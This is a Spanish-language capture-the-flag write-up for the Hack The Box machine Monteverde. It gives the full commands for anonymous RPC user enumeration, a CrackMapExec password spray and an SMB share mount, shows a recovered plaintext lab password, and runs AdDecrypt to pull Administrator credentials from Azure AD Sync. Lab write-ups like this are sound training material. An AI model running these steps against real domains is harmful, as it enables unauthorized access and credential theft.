Resumen
Monteverde es una máquina Windows de dificultad media de la plataforma de Hack The Box, incluye conceptos de explotación de Azure AD Sync y enumeración básica.
Se iniciará obteniendo información desde el servicio RPC para enumerar los usuarios del sistema, con los cuales es posible obtener credenciales válidas haciendo un password spray con CrackMapExec. Posteriormente se escalará a un usuario con mayores privilegios al descubrir credenciales en un archivo .xml. Desde aquí se podrá elevar a privilegios de Administrador explotando Azure AD Sync.
Enumeración
Rustscan - NMAP
Como siempre, se iniciará realizando un escaneo general de los 65535 puertos. En este caso se utilizará Rustscan, proporcionando comandos de nmap para realizar el escaneo desde un one-liner.
rustscan 10.10.10.172 -- -sC -sV | tee services.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.172:53
Open 10.10.10.172:88
Open 10.10.10.172:135
Open 10.10.10.172:139
Open 10.10.10.172:389
Open 10.10.10.172:445
Open 10.10.10.172:464
Open 10.10.10.172:593
Open 10.10.10.172:636
Open 10.10.10.172:3268
Open 10.10.10.172:3269
Open 10.10.10.172:5985
Open 10.10.10.172:9389
Open 10.10.10.172:49667
Open 10.10.10.172:49673
Open 10.10.10.172:49674
Open 10.10.10.172:49676
Open 10.10.10.172:49696
Open 10.10.10.172:49962
Desde el output podemos obtener que los servicios: LDAP
, RPC
, SMB
, WinRM
y Kerberos
se encuentran abiertos, los cuales son ideales para comenzar la enumeración.
SMB
Comenzando con el servicio SMB
, se intenta enumerar información adicional con una autenticación de usuario y contraseña null.
No es posible enumerar recursos compartidos sin credenciales válidas, pero se obtiene el dominio: MEGABANK.LOCAL.
RPC
Con la ayuda de rpcclient, podemos listar información sin necesidad de autenticación. En este caso enumeraremos los usuarios con enumdomusers
.
Y filtraremos el resultado para guardar los usuarios en el archivo users.txt
1
rpcclient -U '' 10.10.10.172 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt
- users.txt
Usuario - SABatchJobs
Ya en tenencia de usuarios válidos del sistema, lo primero que se intenta es un ataque asreproast
. Se ejecuta con las herramientas crackmapexec
y GetNPUsers
respectivamente.
Al no tener éxito con este método, y como buena práctica, podríamos realizar un password spraying con los usernames obtenidos anteriormente, de tal manera de utilizar cada username como usuario y contraseña en cada combinación.
1
cme smb 10.10.10.172 -u users.txt -p users.txt
1
SABatchJobs:SABatchJobs
Usuario - mhope
Ahora que poseemos credenciales, intentamos nuevamente listar recursos compartidos por SMB. Se identifican dos directorios interesantes: azure_uploads y users$.
Entramos a azure_uploads y se observa vacío.
En el caso del recurso users$ vemos directorios para cuatro usuarios.
En lugar de revisar cada uno desde smbmap
u otra herramienta, haremos una montura de todo users$ en nuestra máquina local. Posteriormente listaremos todo el contenido de manera recursiva con tree
.
1
mount -t cifs -o username='SABatchJobs',password='SABatchJobs' //10.10.10.172/users$ /mnt/monteverde
Dentro del directorio mhope se encuentra el archivo azure.xml
que contiene una contraseña en texto claro.
- azure.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
1
mhope:4n0therD4y@n0th3r$
Administrator
Una vez logueados como el usuario mhope
descubrimos que pertenece al grupo Azure Admins.
Adicionalmente, se detecta el servicio ADSync ejecutándose en la máquina.
Azure AD Sync
Efectuando una búsqueda rápida en internet, encontramos un post en donde se detalla un método de abusar el servicio Azure AD Sync para obtener credenciales de ciertos usuarios. Todo lo necesario se encuentra en el repositorio de github, en donde deberemos descargar AdDecrypt.zip
y subir su contenido a la máquina víctima.
Posteriormente se debe ir al directorio C:\Program Files\Microsoft Azure AD Sync\Bin
y ejecutar AdDecrypt.exe
:
1
C:\Users\mhope\Documents\my_files\AdDecrypt.exe -FullSQL
Inmediatemente obtendremos las credenciales del usuario Administrator.
Y como último paso, entraremos por WinRM y listaremos las flags para ingresarlas en la plataforma.
Esto sería todo para Monteverde.
¡Happy Hacking and keep grinding!